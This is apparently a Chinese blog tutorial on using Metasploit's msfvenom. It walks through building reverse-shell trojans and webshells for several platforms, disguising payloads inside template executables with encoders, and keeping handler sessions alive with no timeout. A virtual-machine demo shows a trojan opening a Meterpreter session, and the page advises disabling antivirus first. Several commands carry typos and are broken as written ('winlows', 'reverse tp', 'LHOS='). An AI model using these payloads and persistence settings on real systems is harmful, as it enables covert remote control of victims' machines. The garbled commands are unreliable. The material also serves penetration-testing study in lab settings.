msfvenom的介绍以及基本使用

简介:

metasploit是一个非常强大的攻击,它不仅仅是能对windows系统进行攻击,还支持全平台的攻击,例如Linux,macOS,安卓手机等等,在上一篇metasploit框架介绍中我们简单的了解了metasploit里一些基本框架与命令,以及还体验了最基本的攻击流程,接下来我将进一步的介绍metasploit另外的一些功能与使用方法。

msfvenom介绍

msfvenom 有病毒,毒液的意思,它有来生成后门的功能。

msfvenom是msfpayload(攻击载荷)和msfencode(编码加密)的组合。将这两个工具集成在一个框实例中。

进一步解释,msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,可以理解为一个远控木马。

那这个利用的思路j就是找到漏洞点,利用msfvenom生成木马,想办法把木马弄到靶机上面,在靶机上面运行。在运行之前,我们需要有攻击机去接收它。那么当木马开始运行后我们就可以控制靶机了,也就拿到了我们的meterpreter,接下来我们就来看一下msfvenom的基本参数。

msfvenom基本参数

  1. -p:–payload,指定特定的 Payload,如果被设置为,那么从标准输入流中读取。几乎支持全平台
  2. -l:–list,列出所有可用的项目,其中值可以被设置为payloads,encoders,nops,all
  3. -n:–nopsled,指定 nop 在 payload 中的数量
  4. -f:–format,指定 Payload 的输出格式(–list formats: 列出所有可用的输出格式)
  5. -e: --encoder,指定使用的encoder
  6. -a:–arch,指定目标系统架构
  7. –platform:指定目标系统平台
  8. -s:–space,设置未经编码的 Payload 的最大长度(–encoder-space: 编码后的 Payload 的最大长度)
  9. -b:–bad-chars,设置需要在 Payload 中避免出现的字符,例如: 0f’lx00’等
  10. -i:–iterations,设置 Payload 的编码次数
  11. –smallest:尽可能生成最短的 Payload
  12. -o:–out,保存Pavload 到文件
  13. -c --add-code,指定一个附加的win32 shellcode文件
  14. -x --template,指定一个特定的可执行文件作为模板
  15. -k --keep,保护模板程序的功能,注入的pavload作为一个新的进程运行

这么多基本参数其实没有不要去记,只需要多用两次,熟悉那些常用的就可以了,实战才是提高技术最好的方法,最常用的参数就是 -p ,-f ,-x 和 -e 了。

msfvenom可以帮助我们从大量的metasploit有效负载中创建需要的负载,合并到利用程序中。这里使用payload(windows/meterpreter/reverse_tcp),要回连的主机和端口 (lhost,lport)、模板文件(-x /root/Desktop/StampRemocer.exe),输出格式(-f exe)及编码(-e x86/shikata ga nai)都会整合到/var/www/html/heelllo.exe中.

Metasploit的exploit/multi/handler模块是一有效负载处理程序,它只处理在受损主机中执行的有效负载连接。
Meterpreter是metasploit的后渗透利用工具。基于内存dIl注入实现,能够通过创建一个新进程并调用注入的dIl来让目标系统运行注入的dIl文件。在i模式下,攻击者与目标设备中Meterpreter的通信是通过stager套接字实现的。

msfvenom几个监听参数介绍

msf5 exploit(multi/handler) > advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSession fales
//默认情况下,如果一个会话将在5分钟 (300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionConmunicationTimeout 0
//默认情况下,一个星期 (604800秒)后,会话务被强制关闭,修改为0可永久不会被关msf5 exploit(multi/handler) > set SessionExprationTimeout 0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所有任务
msf5 exploit(multi/handler) > exploit -j -z

//快捷建立监听的方式

msf5 > handler -H 192.168.24.146 -P 5449 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 1.
[*] Started reverse TCP handler on 192.168.24.146:5449

payload分为staged和stageless:

 Staged payload: <platform>/[arch]/<stage>/<stager>
 Stageless payload:<platform>/[arch]/<singl

Stageless Meterpreter是一个二进制文件,包含Mterpreter的所有必需部分以及所有必需的扩展,全部捆庞大绑在一起,将完整的payload都编译在木马中,体积庞大

Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:之reverse_tcp、bind _cp

stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理

msfvenom还能生成web payload,也就是webshell

  php
msfvenom -p php/meterpreter/reverse_tcp LHOST> OST=<Your IP Address> LPORT=<Your Port to Connect -f raw > shell.php
  asp:
msfvenom -a x86 --platform windows -p winlows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
  jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  war:
msfvenom -p java/jsp_shell _reverse _tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f war > shell.war

下面我们就举三个不同平台可执行程序的例子

  linux:
msfvenom -p linux/x86/meterpreter/reverse tp LHOST=<YourIP Address> LPORT=<Your Port to Connect On> -felf > shell.elf
msfvenom -p linux/x86/meterpreter/bind tcpLHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to tConnect On> -f exe > shell.exe
  mac:
msfvenom -p osx/x86/shell reverse tcp LHOS=<Your IP Address> LPORT=<Your Port to Connect On>f macho > shell.macho

msfvenom的攻击实例

接下来我就在metasploit框架介绍的最后实验的前提下进行接下来的演示
那在我们的用户视图下生成我们的一个windows的一个可执行程序

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.5.128 lport=5555 -f exe > hello.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

上面我们将lhost指定为了我们攻击机的ip地址,lport指定为了5555,端口号主要不冲突的基本都可以使用。木马程序生成好了,那接下来就还需要开启监听才能在,木马成功运行之后控制靶机。

msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

那这里我们使用了 exploit/multi/handler(开启监听)这个模块,并且还看了这个模块可以设置的内容。这里我们需要指定一个payload,那么我们可以查看刚刚生成的一个木马程序。
在这里插入图片描述

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

设置完payload之后我们看看需要指定我们的 lhost 和 lport ,这两个参数都要与我们之前msfvenom里设置的参数相同

msf5 exploit(multi/handler) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.5.128:5555 
msf5 exploit(multi/handler) > 

设置完参数之后我们就可以运行了,exploit后面的 -j 是放在后台运行,这样我们就不用一直等着,可以去干别的,那我们可以输入 jobs 来查看,想要删除的话可用 jobs -k。

那因为我们用的是虚拟机,所有可以直接将 hello.exe 拖到我们的靶机上,不过在拖之前最好是将自己真机上的防火墙和杀毒软件给关了,要不然在移动的时候很可能就会被拦下来。
当我们的 hello.exe传到我们的靶机上并运行了之后我们就会看到在我们的攻击机上会出现提示

msf5 exploit(multi/handler) > 
[*] Sending stage (179779 bytes) to 192.168.5.130
[*] Meterpreter session 3 opened (192.168.5.128:5555 -> 192.168.5.130:49171) at 2023-10-22 16:45:58 +0800
msf5 exploit(multi/handler) > sessions 

Active sessions

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  1         shell x64/windows        Microsoft Windows [_ 6.1.7601]  192.168.5.128:4444 -> 192.168.5.130:49169 (192.168.5.130)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ HZ-PC     192.168.5.128:4433 -> 192.168.5.130:49170 (192.168.5.130)
  3         meterpreter x86/windows  hz-PC\hz @ HZ-PC                192.168.5.128:5555 -> 192.168.5.130:49171 (192.168.5.130)

我们可以看到 Id 3 就是我们通过木马程序拿到的一个 meterpreter,拿到 meterpreter之后能干什么这里就不再多说,总之还是那句话,metasploit的强大和复杂绝对不是在一篇小小的文章就能够弄明白的,最多也就了解了一下metasploit最基本的攻击流程,让大家先了解了之后才能进行更深层次的学习,那么msfvenom的介绍与使用就介绍到这里,希望能帮助到大家。

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H_zcnwa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值